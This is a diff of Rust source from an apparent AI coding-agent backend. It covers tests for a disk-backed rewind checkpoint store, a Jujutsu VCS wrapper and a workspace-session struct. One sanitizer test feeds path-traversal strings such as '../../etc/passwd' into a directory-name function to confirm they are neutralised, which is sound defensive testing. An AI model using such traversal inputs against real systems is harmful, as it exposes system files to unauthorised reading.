use crate::session::file_state::{FileSnapshot, RewindPoint};
|
||||
use kigi_paths::RelPathBuf;
|
||||
|
||||
/// A minimal FS-only checkpoint (no hunk delta) for store-mechanics tests.
|
||||
/// Distinct content per prompt so a disk round-trip is meaningfully checked.
|
||||
fn fs_only_checkpoint(prompt_index: usize) -> RewindCheckpoint {
|
||||
let mut fs = RewindPoint::new(prompt_index);
|
||||
fs.add_snapshot(FileSnapshot::new(
|
||||
RelPathBuf::new("a.rs").unwrap(),
|
||||
Some(format!("content for prompt {prompt_index}")),
|
||||
));
|
||||
RewindCheckpoint {
|
||||
prompt_index,
|
||||
fs,
|
||||
hunks: None,
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn persist_writes_under_cwd_and_gitignores_blobs() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let store = CheckpointStore::new(tmp.path(), "sess-1");
|
||||
|
||||
// The store is co-located inside the working tree (the snapshotted rootfs).
|
||||
assert!(
|
||||
store.dir().starts_with(tmp.path()),
|
||||
"store dir must live inside the session working tree, got {}",
|
||||
store.dir().display()
|
||||
);
|
||||
|
||||
store.persist(fs_only_checkpoint(0)).await;
|
||||
|
||||
// The checkpoint blob is on disk...
|
||||
assert!(store.checkpoint_path(0).exists(), "checkpoint blob written");
|
||||
// ...and a `.gitignore` ignores the whole store so blobs are never committed.
|
||||
let gitignore = tmp
|
||||
.path()
|
||||
.join(".kigi")
|
||||
.join(STORE_SUBDIR)
|
||||
.join(".gitignore");
|
||||
let body = std::fs::read_to_string(&gitignore).expect("gitignore written");
|
||||
assert_eq!(body.trim(), "*", "store .gitignore must ignore all blobs");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn cap_eviction_drops_oldest_checkpoint_and_file() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let store = CheckpointStore::with_cap(tmp.path(), "sess-1", 2);
|
||||
|
||||
for idx in 0..3 {
|
||||
store.persist(fs_only_checkpoint(idx)).await;
|
||||
}
|
||||
|
||||
// The oldest (0) is evicted from both cache and disk; the last `cap` stay.
|
||||
assert!(
|
||||
!store.checkpoint_path(0).exists(),
|
||||
"evicted checkpoint's file must be removed"
|
||||
);
|
||||
assert!(store.checkpoint_path(1).exists());
|
||||
assert!(store.checkpoint_path(2).exists());
|
||||
assert!(store.get(0).await.is_none(), "evicted checkpoint is gone");
|
||||
assert!(store.get(2).await.is_some());
|
||||
assert_eq!(store.cached_len().await, 2, "cache is bounded to the cap");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn persist_below_retention_window_is_skipped_not_self_deleted() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let store = CheckpointStore::with_cap(tmp.path(), "sess-1", 2);
|
||||
store.persist(fs_only_checkpoint(5)).await;
|
||||
store.persist(fs_only_checkpoint(10)).await;
|
||||
|
||||
// An index below the retained window would be evicted the moment it's
|
||||
// inserted, so it must be skipped entirely — not written-then-deleted.
|
||||
store.persist(fs_only_checkpoint(3)).await;
|
||||
assert!(
|
||||
!store.checkpoint_path(3).exists(),
|
||||
"below-window write must be skipped, not left dangling or self-deleted"
|
||||
);
|
||||
assert!(
|
||||
store.checkpoint_path(5).exists(),
|
||||
"existing in-window checkpoint must survive"
|
||||
);
|
||||
assert!(store.checkpoint_path(10).exists());
|
||||
assert!(store.get(3).await.is_none());
|
||||
assert!(store.get(5).await.is_some());
|
||||
assert_eq!(store.cached_len().await, 2);
|
||||
|
||||
// A newer index correctly evicts the oldest and survives itself.
|
||||
store.persist(fs_only_checkpoint(11)).await;
|
||||
assert!(
|
||||
store.checkpoint_path(11).exists(),
|
||||
"the newest write must survive eviction"
|
||||
);
|
||||
assert!(
|
||||
!store.checkpoint_path(5).exists(),
|
||||
"the oldest in-window entry is evicted by the newer write"
|
||||
);
|
||||
assert!(store.checkpoint_path(10).exists());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn get_rehydrates_from_disk_when_cache_is_cold() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
{
|
||||
let store = CheckpointStore::new(tmp.path(), "sess-1");
|
||||
store.persist(fs_only_checkpoint(7)).await;
|
||||
}
|
||||
|
||||
// A fresh store models a sandbox restore: cold cache, blobs on disk.
|
||||
let restored = CheckpointStore::new(tmp.path(), "sess-1");
|
||||
assert_eq!(restored.cached_len().await, 0, "fresh store starts cold");
|
||||
|
||||
let cp = restored
|
||||
.get(7)
|
||||
.await
|
||||
.expect("checkpoint survives store re-creation (carried by rootfs snapshot)");
|
||||
assert_eq!(cp.prompt_index, 7);
|
||||
assert_eq!(
|
||||
cp.fs.file_snapshots.len(),
|
||||
1,
|
||||
"fs snapshot content survives the disk round-trip"
|
||||
);
|
||||
// The disk read warms the cache for subsequent hot reads.
|
||||
assert_eq!(restored.cached_len().await, 1);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn truncate_from_drops_target_and_later_checkpoints() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let store = CheckpointStore::new(tmp.path(), "sess-1");
|
||||
for idx in 0..4 {
|
||||
store.persist(fs_only_checkpoint(idx)).await;
|
||||
}
|
||||
|
||||
store.truncate_from(2).await;
|
||||
|
||||
assert!(store.checkpoint_path(0).exists());
|
||||
assert!(store.checkpoint_path(1).exists());
|
||||
assert!(
|
||||
!store.checkpoint_path(2).exists(),
|
||||
"target checkpoint file removed"
|
||||
);
|
||||
assert!(
|
||||
!store.checkpoint_path(3).exists(),
|
||||
"later checkpoint file removed"
|
||||
);
|
||||
assert!(store.get(3).await.is_none());
|
||||
assert!(store.get(1).await.is_some());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn truncate_on_missing_store_dir_is_noop() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let store = CheckpointStore::new(tmp.path(), "sess-1");
|
||||
// Nothing persisted yet (dir absent) — truncate must not error or create it.
|
||||
store.truncate_from(0).await;
|
||||
assert!(!store.dir().exists());
|
||||
}
|
||||
|
||||
/// Rehydrate (post-restore): blobs the rootfs snapshot carried load back into
|
||||
/// the cache, and the cap is enforced against the on-disk set (oldest deleted).
|
||||
#[tokio::test]
|
||||
async fn rehydrate_loads_capped_set_from_disk() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
|
||||
// Write 4 blobs to disk (uncapped) to model a snapshot carrying history.
|
||||
let writer = CheckpointStore::with_cap(tmp.path(), "sess-1", 100);
|
||||
for idx in 0..4 {
|
||||
writer.persist(fs_only_checkpoint(idx)).await;
|
||||
}
|
||||
|
||||
// Rehydrate with cap 2: only the newest 2 load, older blobs are deleted.
|
||||
let loaded = load_capped_from_disk(&writer.dir, 2);
|
||||
assert_eq!(loaded.len(), 2, "rehydrate keeps only the newest `cap`");
|
||||
assert!(loaded.contains_key(&2));
|
||||
assert!(loaded.contains_key(&3));
|
||||
assert!(
|
||||
!checkpoint_file_path(&writer.dir, 0).exists(),
|
||||
"cap is enforced against on-disk blobs, not just the cache"
|
||||
);
|
||||
assert!(!checkpoint_file_path(&writer.dir, 1).exists());
|
||||
assert!(checkpoint_file_path(&writer.dir, 2).exists());
|
||||
assert!(checkpoint_file_path(&writer.dir, 3).exists());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn rehydrate_sweeps_orphan_tmp_files() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let writer = CheckpointStore::with_cap(tmp.path(), "sess-1", 100);
|
||||
writer.persist(fs_only_checkpoint(0)).await;
|
||||
|
||||
// Simulate a crash / failed rename leaving an orphan temp file behind.
|
||||
let orphan = writer.dir.join("checkpoint-9.json.tmp.4242.0");
|
||||
std::fs::write(&orphan, b"partial").unwrap();
|
||||
assert!(orphan.exists());
|
||||
|
||||
// Rehydrate sweeps the orphan and still loads the real checkpoint.
|
||||
let loaded = load_capped_from_disk(&writer.dir, 100);
|
||||
assert!(loaded.contains_key(&0), "real checkpoint still rehydrates");
|
||||
assert!(
|
||||
!orphan.exists(),
|
||||
"orphaned *.json.tmp* file must be swept on rehydrate"
|
||||
);
|
||||
// The committed checkpoint blob is untouched by the sweep.
|
||||
assert!(checkpoint_file_path(&writer.dir, 0).exists());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_orphan_checkpoint_tmp_matches_only_temp_files() {
|
||||
use std::ffi::OsStr;
|
||||
assert!(is_orphan_checkpoint_tmp(OsStr::new(
|
||||
"checkpoint-3.json.tmp.123.0"
|
||||
)));
|
||||
assert!(is_orphan_checkpoint_tmp(OsStr::new(
|
||||
"checkpoint-3.json.tmp"
|
||||
)));
|
||||
assert!(!is_orphan_checkpoint_tmp(OsStr::new("checkpoint-3.json")));
|
||||
assert!(!is_orphan_checkpoint_tmp(OsStr::new(".gitignore")));
|
||||
assert!(!is_orphan_checkpoint_tmp(OsStr::new("other.json.tmp.1.2")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn session_store_dir_name_is_safe_and_collision_free() {
|
||||
let root = Path::new("/store/root");
|
||||
for raw in [
|
||||
"../../etc/passwd",
|
||||
"a/b",
|
||||
"..",
|
||||
".",
|
||||
"",
|
||||
"a\\b",
|
||||
"/abs",
|
||||
"./../x",
|
||||
] {
|
||||
let s = session_store_dir_name(raw);
|
||||
assert!(!s.is_empty(), "never empty for {raw:?}");
|
||||
assert!(
|
||||
!s.contains('/') && !s.contains('\\'),
|
||||
"no separators for {raw:?}: {s:?}"
|
||||
);
|
||||
assert!(s != "." && s != "..", "not a traversal component: {s:?}");
|
||||
// Joining must stay within the store root and add exactly one path
|
||||
// component (no `..` escape).
|
||||
let joined = root.join(&s);
|
||||
assert!(joined.starts_with(root), "stays in root: {joined:?}");
|
||||
assert_eq!(
|
||||
joined.components().count(),
|
||||
root.components().count() + 1,
|
||||
"exactly one extra component for {raw:?}: {joined:?}"
|
||||
);
|
||||
}
|
||||
|
||||
// Distinct raw ids sharing a sanitized prefix must still map to distinct
|
||||
// directories (hash suffix differs), so sessions can't clobber each other.
|
||||
assert_ne!(
|
||||
session_store_dir_name("foo/bar"),
|
||||
session_store_dir_name("foo_bar"),
|
||||
"distinct raw ids must not share a store directory"
|
||||
);
|
||||
assert_ne!(session_store_dir_name("a/b"), session_store_dir_name("a-b"));
|
||||
|
||||
// Deterministic: the same raw id always maps to the same directory, so a
|
||||
// restored session rehydrates from the right place.
|
||||
assert_eq!(
|
||||
session_store_dir_name("session-123"),
|
||||
session_store_dir_name("session-123")
|
||||
);
|
||||
|
||||
// The readable prefix is preserved for typical ids.
|
||||
assert!(session_store_dir_name("main").starts_with("main-"));
|
||||
assert!(session_store_dir_name("a1b2-c3d4_e5").starts_with("a1b2-c3d4_e5-"));
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,226 @@
|
||||
//! Jujutsu (jj) operations for colocated repos.
|
||||
//!
|
||||
//! Mirrors the git operations in [`super::git`] but uses the `jj` CLI.
|
||||
//! All read-only calls use `--ignore-working-copy`; mutating calls use
|
||||
//! [`super::git::jj_cli_mut`].
|
||||
|
||||
use std::collections::BTreeSet;
|
||||
use std::path::Path;
|
||||
|
||||
use anyhow::Result;
|
||||
|
||||
use super::git::{
|
||||
ChangeType, CommitData, CommitResult, GitBranchEntry, GitBranchListData, GitFileChange,
|
||||
GitInfoData, GitStatusData, VcsKind, git_cli, jj_cli, jj_cli_mut,
|
||||
};
|
||||
|
||||
/// Query bookmarks attached to a revision (returns `None` if empty).
|
||||
async fn bookmarks_at(cwd: &Path, revset: &str) -> Option<String> {
|
||||
jj_cli(
|
||||
cwd,
|
||||
&[
|
||||
"log",
|
||||
"--no-graph",
|
||||
"-r",
|
||||
revset,
|
||||
"-T",
|
||||
r#"bookmarks.join(", ")"#,
|
||||
],
|
||||
)
|
||||
.await
|
||||
.ok()
|
||||
.filter(|s| !s.is_empty())
|
||||
}
|
||||
|
||||
/// Repo info (reuses `GitInfoData` for ACP compatibility).
|
||||
pub async fn info(cwd: &Path) -> Result<GitInfoData> {
|
||||
let root = jj_cli(cwd, &["workspace", "root"]).await?;
|
||||
let current_branch = bookmarks_at(cwd, "@-").await;
|
||||
|
||||
// Remote URLs via colocated git
|
||||
let remotes = git_cli(cwd, &["remote", "-v"])
|
||||
.await
|
||||
.unwrap_or_default()
|
||||
.lines()
|
||||
.filter_map(|line| {
|
||||
let parts: Vec<&str> = line.split_whitespace().collect();
|
||||
(parts.len() >= 2 && line.contains("(fetch)")).then(|| parts[1].to_string())
|
||||
})
|
||||
.collect::<BTreeSet<_>>()
|
||||
.into_iter()
|
||||
.collect();
|
||||
|
||||
Ok(GitInfoData {
|
||||
root,
|
||||
remotes,
|
||||
current_branch,
|
||||
default_branch: None,
|
||||
vcs_kind: Some(VcsKind::JujutsuColocated),
|
||||
})
|
||||
}
|
||||
|
||||
/// Status mapped to `GitStatusData` (all changes in `unstaged` — jj has no index).
|
||||
pub async fn status(cwd: &Path) -> Result<GitStatusData> {
|
||||
let root = jj_cli(cwd, &["workspace", "root"]).await.ok();
|
||||
let commit = jj_cli(
|
||||
cwd,
|
||||
&[
|
||||
"log",
|
||||
"--no-graph",
|
||||
"-r",
|
||||
"@",
|
||||
"-T",
|
||||
"commit_id.shortest(12)",
|
||||
],
|
||||
)
|
||||
.await
|
||||
.ok();
|
||||
let branch = bookmarks_at(cwd, "@-").await;
|
||||
|
||||
let diff_output = jj_cli(cwd, &["diff", "--summary"])
|
||||
.await
|
||||
.unwrap_or_default();
|
||||
|
||||
let unstaged: Vec<GitFileChange> = diff_output
|
||||
.lines()
|
||||
.filter_map(|line| {
|
||||
let line = line.trim();
|
||||
let (change_type, path) = if let Some(rest) = line.strip_prefix("M ") {
|
||||
(ChangeType::Edit, rest.trim())
|
||||
} else if let Some(rest) = line.strip_prefix("A ") {
|
||||
(ChangeType::Create, rest.trim())
|
||||
} else if let Some(rest) = line.strip_prefix("D ") {
|
||||
(ChangeType::Delete, rest.trim())
|
||||
} else {
|
||||
let rest = line.strip_prefix("R ")?;
|
||||
(ChangeType::Rename, rest.trim())
|
||||
};
|
||||
Some(GitFileChange {
|
||||
path: path.to_string(),
|
||||
old_path: None,
|
||||
change_type,
|
||||
staged: Some(false),
|
||||
additions: 0,
|
||||
deletions: 0,
|
||||
patch: None,
|
||||
patch_bytes: None,
|
||||
patch_lines: None,
|
||||
old_text: None,
|
||||
new_text: None,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
Ok(GitStatusData {
|
||||
root,
|
||||
main_root: None,
|
||||
is_worktree: None,
|
||||
branch,
|
||||
commit,
|
||||
upstream: None,
|
||||
remote_url: None,
|
||||
ahead: None,
|
||||
behind: None,
|
||||
staged: Vec::new(),
|
||||
unstaged,
|
||||
})
|
||||
}
|
||||
|
||||
/// Current commit id: the working-copy commit (`@`), matching the `commit`
|
||||
/// field reported by [`status`].
|
||||
///
|
||||
/// In a colocated repo, git HEAD points at `@-` (the parent of the working-copy
|
||||
/// commit), so reading git HEAD would return a different revision than jj's
|
||||
/// current commit. Returns `Ok(None)` if the id can't be determined, mirroring
|
||||
/// the lenient behavior of `git::get_current_commit`.
|
||||
pub async fn current_commit(cwd: &Path) -> Result<Option<String>> {
|
||||
let commit = jj_cli(cwd, &["log", "--no-graph", "-r", "@", "-T", "commit_id"])
|
||||
.await
|
||||
.ok()
|
||||
.filter(|s| !s.is_empty());
|
||||
Ok(commit)
|
||||
}
|
||||
|
||||
/// Commit: describe the current change and start a new one.
|
||||
pub async fn commit(cwd: &Path, message: &str) -> Result<CommitResult> {
|
||||
jj_cli_mut(cwd, &["describe", "-m", message]).await?;
|
||||
let commit_hash = jj_cli(
|
||||
cwd,
|
||||
&[
|
||||
"log",
|
||||
"--no-graph",
|
||||
"-r",
|
||||
"@",
|
||||
"-T",
|
||||
"commit_id.shortest(12)",
|
||||
],
|
||||
)
|
||||
.await
|
||||
.ok();
|
||||
jj_cli_mut(cwd, &["new"]).await?;
|
||||
|
||||
Ok(CommitResult {
|
||||
data: CommitData {
|
||||
commit_hash,
|
||||
output: Some("Commit described and new change started".to_string()),
|
||||
},
|
||||
warning: None,
|
||||
})
|
||||
}
|
||||
|
||||
/// Discard: restore working copy from parent.
|
||||
pub async fn discard(cwd: &Path, paths: Option<Vec<String>>) -> Result<()> {
|
||||
match paths {
|
||||
Some(paths) if !paths.is_empty() => {
|
||||
let mut args: Vec<&str> = vec!["restore"];
|
||||
let refs: Vec<&str> = paths.iter().map(|s| s.as_str()).collect();
|
||||
args.extend(refs);
|
||||
jj_cli_mut(cwd, &args).await?;
|
||||
}
|
||||
_ => {
|
||||
jj_cli_mut(cwd, &["restore"]).await?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Bookmark list, mapped to `GitBranchListData` for ACP compatibility.
|
||||
pub async fn list_bookmarks(cwd: &Path) -> Result<GitBranchListData> {
|
||||
let root = jj_cli(cwd, &["workspace", "root"]).await?;
|
||||
|
||||
let bookmark_output = jj_cli(
|
||||
cwd,
|
||||
&[
|
||||
"bookmark",
|
||||
"list",
|
||||
"--all",
|
||||
"-T",
|
||||
r#"name ++ if(remote, "@" ++ remote, "") ++ "\n""#,
|
||||
],
|
||||
)
|
||||
.await
|
||||
.unwrap_or_default();
|
||||
|
||||
let current_bookmark = bookmarks_at(cwd, "@-").await;
|
||||
|
||||
let branches: Vec<GitBranchEntry> = bookmark_output
|
||||
.lines()
|
||||
.filter(|l| !l.is_empty())
|
||||
.map(|name| {
|
||||
let name = name.to_string();
|
||||
let is_remote = name.contains('@');
|
||||
let is_current = !is_remote && current_bookmark.as_deref().is_some_and(|cb| cb == name);
|
||||
GitBranchEntry {
|
||||
name,
|
||||
current: is_current,
|
||||
remote: is_remote,
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
Ok(GitBranchListData {
|
||||
current_branch: current_bookmark,
|
||||
repo_root: root,
|
||||
branches,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,971 @@
|
||||
pub(crate) mod checkpoint;
|
||||
pub(crate) mod checkpoint_store;
|
||||
pub mod file_state;
|
||||
pub mod git;
|
||||
pub mod jj;
|
||||
pub(crate) mod swap_policy;
|
||||
pub mod tool_config;
|
||||
use crate::capability::CapabilityMode;
|
||||
use crate::config::{MemoryConfig, SessionContextFactory};
|
||||
use crate::file_system::{AsyncFsWrapper, LocalFs};
|
||||
use crate::hub::{HubConfig, HubHandle};
|
||||
use crate::session::file_state::FileStateTracker;
|
||||
use kigi_computer_hub_mcp_adapter::McpBridgeHandle;
|
||||
use kigi_hunk_tracker::HunkTrackerHandle;
|
||||
use kigi_mcp::servers::McpState;
|
||||
use kigi_tool_protocol::ToolId;
|
||||
use kigi_tool_runtime::WorkspaceViewerContext;
|
||||
use kigi_tools::notification::types::{ToolNotification, ToolNotificationHandle};
|
||||
use kigi_tools::registry::types::{FinalizedToolset, ToolConfig, ToolServerConfig};
|
||||
use parking_lot::RwLock;
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::Arc;
|
||||
/// Minimal result types for git error reporting (duplicated from shell session/result).
|
||||
pub mod result {
|
||||
use serde::Serialize;
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct ExtMethodError {
|
||||
pub code: i32,
|
||||
pub message: String,
|
||||
pub data: Option<serde_json::Value>,
|
||||
}
|
||||
impl ExtMethodError {
|
||||
pub fn with_data(code: i32, msg: String, data: impl Serialize) -> Self {
|
||||
Self {
|
||||
code,
|
||||
message: msg,
|
||||
data: serde_json::to_value(data).ok(),
|
||||
}
|
||||
}
|
||||
}
|
||||
#[derive(Debug)]
|
||||
pub struct ExtMethodResult<T> {
|
||||
pub result: Option<T>,
|
||||
pub error: Option<serde_json::Value>,
|
||||
}
|
||||
}
|
||||
/// Per-session state held in [`WorkspaceShared::sessions`].
|
||||
///
|
||||
/// The `effective_tool_config` baseline and the resolved `toolset` are
|
||||
/// kept under a single `RwLock` so a hot reload swaps both atomically.
|
||||
pub struct WorkspaceSession {
|
||||
pub(crate) session_id: String,
|
||||
pub(crate) cwd: PathBuf,
|
||||
pub(crate) session_env: Arc<HashMap<String, String>>,
|
||||
pub(crate) capability_mode: CapabilityMode,
|
||||
pub(crate) depth: u32,
|
||||
pub(crate) fork_budget: u32,
|
||||
pub(crate) hunk_tracker: HunkTrackerHandle,
|
||||
pub(crate) file_state_tracker: Arc<FileStateTracker>,
|
||||
/// Per-turn hunk deltas keyed by `prompt_index`, captured at finalize and
|
||||
/// replayed on rewind (only when `workspace_rewind_hunks` is on). The live
|
||||
/// restore source; the durable on-disk mirror is the [`checkpoint_store`] field.
|
||||
///
|
||||
/// [`checkpoint_store`]: WorkspaceSession::checkpoint_store
|
||||
pub(crate) hunk_checkpoints:
|
||||
Arc<tokio::sync::Mutex<HashMap<usize, kigi_hunk_tracker::HunkTurnDelta>>>,
|
||||
/// Git domain of the per-prompt rewind checkpoints (HEAD + staged set).
|
||||
pub(crate) git_checkpoints: crate::session::git::GitCheckpointStore,
|
||||
/// Disk-backed durability mirror for finalized checkpoints, fronted by an
|
||||
/// in-memory cache. Gated by `workspace_rewind_durable` (off = no disk I/O,
|
||||
/// legacy path). Co-located in the working tree so the rootfs snapshot carries
|
||||
/// it and a restored session rehydrates the cache. Mirror only — restore stays in-process.
|
||||
pub(crate) checkpoint_store: crate::session::checkpoint_store::CheckpointStore,
|
||||
pub(crate) async_fs: AsyncFsWrapper,
|
||||
inner: RwLock<WorkspaceSessionInner>,
|
||||
/// Per-session lock that serialises `update_tool_config` calls.
|
||||
pub(crate) update_lock: tokio::sync::Mutex<()>,
|
||||
/// Per-session MCP state (owned clients, etc.).
|
||||
pub(crate) mcp_state: Arc<tokio::sync::Mutex<McpState>>,
|
||||
/// MCP bridges kept alive for the session lifetime.
|
||||
pub(crate) mcp_bridges: tokio::sync::Mutex<Vec<McpBridgeHandle>>,
|
||||
/// Qualified tool IDs registered on the server for this session's MCP tools.
|
||||
pub(crate) mcp_tool_ids: tokio::sync::Mutex<Vec<ToolId>>,
|
||||
/// Per-user feature-flag bag resolved at session-bind time, frozen for
|
||||
/// the session lifetime. `None` → tools use their safe defaults.
|
||||
pub(crate) viewer_ctx: Option<WorkspaceViewerContext>,
|
||||
/// Auto-approve (YOLO) state. Seeded from `session.bind` metadata,
|
||||
/// refreshed by each before-turn hook.
|
||||
pub(crate) yolo_mode: std::sync::atomic::AtomicBool,
|
||||
/// Session-lifetime terminal backend (background-task registry +
|
||||
/// persistent shell). Created once at session construction; every toolset
|
||||
/// re-resolve reuses it, so background tasks and shell state survive
|
||||
/// toolset swaps. Its child processes die only via `kill_task`,
|
||||
/// [`Self::shutdown_terminal_backend`] (`drop_session`/evict), or process
|
||||
/// exit.
|
||||
///
|
||||
/// Local-mode exception: `bind_local_session` installs an externally
|
||||
/// built toolset via plain [`Self::replace`], so that toolset's
|
||||
/// `Terminal` resource is the shell's own backend while this one sits
|
||||
/// idle as the sole safe teardown target. Never adopt an externally
|
||||
/// owned backend into this field (drop/evict would SIGKILL a backend
|
||||
/// shared with the shell) and never query this field for the live task
|
||||
/// table — the toolset's `Terminal` resource is the source of truth.
|
||||
terminal_backend: crate::config::SessionTerminalBackend,
|
||||
/// Canonical JSON of the explicit `session.bind` toolset this session was
|
||||
/// created (or last rebound) with. `None` when the session was resolved
|
||||
/// from the workspace default (no explicit toolset in the bind metadata).
|
||||
/// Lets a rebind detect a config change and re-resolve instead of silently
|
||||
/// reusing a stale toolset (e.g. a session created by a metadata-less
|
||||
/// hub revive bind that a config-carrying client rebind must correct).
|
||||
bind_tool_config_fingerprint: std::sync::Mutex<Option<serde_json::Value>>,
|
||||
/// The last snapshot-driven rebuild failed and kept a stale toolset;
|
||||
/// cleared by any successful install. While set, an identical-config
|
||||
/// re-apply (update RPC or owner rebind) heals instead of reusing.
|
||||
stale_resolve: std::sync::atomic::AtomicBool,
|
||||
/// Whether this session forwards `BackgroundTaskCompleted` system notifications.
|
||||
#[allow(dead_code)]
|
||||
system_notifications: bool,
|
||||
/// Per-session notification sender, re-applied across toolset re-resolves.
|
||||
system_notify_handle: Option<ToolNotificationHandle>,
|
||||
/// Receiver paired with `system_notify_handle`, taken once by the forwarder.
|
||||
#[allow(dead_code)]
|
||||
pending_notif_rx:
|
||||
tokio::sync::Mutex<Option<tokio::sync::mpsc::UnboundedReceiver<ToolNotification>>>,
|
||||
/// Spawned forwarder handle; aborted on teardown. Sync mutex so the sync
|
||||
/// teardown path can abort without an await.
|
||||
system_notify_forwarder: std::sync::Mutex<Option<tokio::task::JoinHandle<()>>>,
|
||||
}
|
||||
struct WorkspaceSessionInner {
|
||||
effective_tool_config: Arc<ToolServerConfig>,
|
||||
toolset: Arc<FinalizedToolset>,
|
||||
}
|
||||
impl std::fmt::Debug for WorkspaceSession {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("WorkspaceSession")
|
||||
.field("session_id", &self.session_id)
|
||||
.field("cwd", &self.cwd)
|
||||
.field("capability_mode", &self.capability_mode)
|
||||
.field("depth", &self.depth)
|
||||
.field("fork_budget", &self.fork_budget)
|
||||
.finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
impl WorkspaceSession {
|
||||
pub(crate) fn new(
|
||||
session_id: String,
|
||||
cwd: PathBuf,
|
||||
session_env: Arc<HashMap<String, String>>,
|
||||
capability_mode: CapabilityMode,
|
||||
depth: u32,
|
||||
fork_budget: u32,
|
||||
effective_tool_config: Arc<ToolServerConfig>,
|
||||
toolset: Arc<FinalizedToolset>,
|
||||
terminal_backend: crate::config::SessionTerminalBackend,
|
||||
hunk_tracker: HunkTrackerHandle,
|
||||
viewer_ctx: Option<WorkspaceViewerContext>,
|
||||
#[allow(dead_code)] system_notifications: bool,
|
||||
system_notify_channel: Option<(
|
||||
ToolNotificationHandle,
|
||||
tokio::sync::mpsc::UnboundedReceiver<ToolNotification>,
|
||||
)>,
|
||||
) -> Self {
|
||||
let (system_notify_handle, pending_notif_rx) = match system_notify_channel {
|
||||
Some((handle, rx)) => (Some(handle), Some(rx)),
|
||||
None => (None, None),
|
||||
};
|
||||
let async_fs = AsyncFsWrapper::new(Arc::new(LocalFs::new(cwd.clone())));
|
||||
let file_state_tracker = Arc::new(FileStateTracker::new());
|
||||
let checkpoint_store =
|
||||
crate::session::checkpoint_store::CheckpointStore::new(&cwd, &session_id);
|
||||
Self {
|
||||
session_id,
|
||||
cwd,
|
||||
session_env,
|
||||
capability_mode,
|
||||
depth,
|
||||
fork_budget,
|
||||
hunk_tracker,
|
||||
file_state_tracker,
|
||||
hunk_checkpoints: Arc::new(tokio::sync::Mutex::new(HashMap::new())),
|
||||
git_checkpoints: crate::session::git::GitCheckpointStore::new(),
|
||||
checkpoint_store,
|
||||
async_fs,
|
||||
inner: RwLock::new(WorkspaceSessionInner {
|
||||
effective_tool_config,
|
||||
toolset,
|
||||
}),
|
||||
terminal_backend,
|
||||
update_lock: tokio::sync::Mutex::new(()),
|
||||
bind_tool_config_fingerprint: std::sync::Mutex::new(None),
|
||||
stale_resolve: std::sync::atomic::AtomicBool::new(false),
|
||||
mcp_state: Arc::new(tokio::sync::Mutex::new(McpState::new(vec![]))),
|
||||
mcp_bridges: tokio::sync::Mutex::new(Vec::new()),
|
||||
mcp_tool_ids: tokio::sync::Mutex::new(Vec::new()),
|
||||
viewer_ctx,
|
||||
yolo_mode: std::sync::atomic::AtomicBool::new(false),
|
||||
system_notifications,
|
||||
system_notify_handle,
|
||||
#[allow(dead_code)]
|
||||
pending_notif_rx: tokio::sync::Mutex::new(pending_notif_rx),
|
||||
system_notify_forwarder: std::sync::Mutex::new(None),
|
||||
}
|
||||
}
|
||||
/// Whether this session opted into `BackgroundTaskCompleted` system
|
||||
/// notifications.
|
||||
#[allow(dead_code)]
|
||||
pub(crate) fn system_notifications(&self) -> bool {
|
||||
self.system_notifications
|
||||
}
|
||||
/// The per-session notification sender, re-applied on every toolset
|
||||
/// re-resolve so notifications keep flowing to the forwarder's channel.
|
||||
pub(crate) fn system_notify_handle(&self) -> Option<ToolNotificationHandle> {
|
||||
self.system_notify_handle.clone()
|
||||
}
|
||||
/// Take the stashed notification receiver (once) for the per-session
|
||||
/// forwarder to own.
|
||||
#[allow(dead_code)]
|
||||
pub(crate) async fn take_pending_notif_rx(
|
||||
&self,
|
||||
) -> Option<tokio::sync::mpsc::UnboundedReceiver<ToolNotification>> {
|
||||
self.pending_notif_rx.lock().await.take()
|
||||
}
|
||||
/// Store the spawned forwarder handle, aborting any previous one.
|
||||
#[allow(dead_code)]
|
||||
pub(crate) fn set_system_notify_forwarder(&self, handle: tokio::task::JoinHandle<()>) {
|
||||
let mut guard = self
|
||||
.system_notify_forwarder
|
||||
.lock()
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
if let Some(old) = guard.replace(handle) {
|
||||
old.abort();
|
||||
}
|
||||
}
|
||||
/// Abort the per-session system-notify forwarder on teardown.
|
||||
pub(crate) fn abort_system_notify_forwarder(&self) {
|
||||
if let Some(handle) = self
|
||||
.system_notify_forwarder
|
||||
.lock()
|
||||
.unwrap_or_else(|e| e.into_inner())
|
||||
.take()
|
||||
{
|
||||
handle.abort();
|
||||
}
|
||||
}
|
||||
pub fn session_id(&self) -> &str {
|
||||
&self.session_id
|
||||
}
|
||||
pub fn cwd(&self) -> &Path {
|
||||
&self.cwd
|
||||
}
|
||||
pub fn session_env(&self) -> &Arc<HashMap<String, String>> {
|
||||
&self.session_env
|
||||
}
|
||||
pub fn capability_mode(&self) -> CapabilityMode {
|
||||
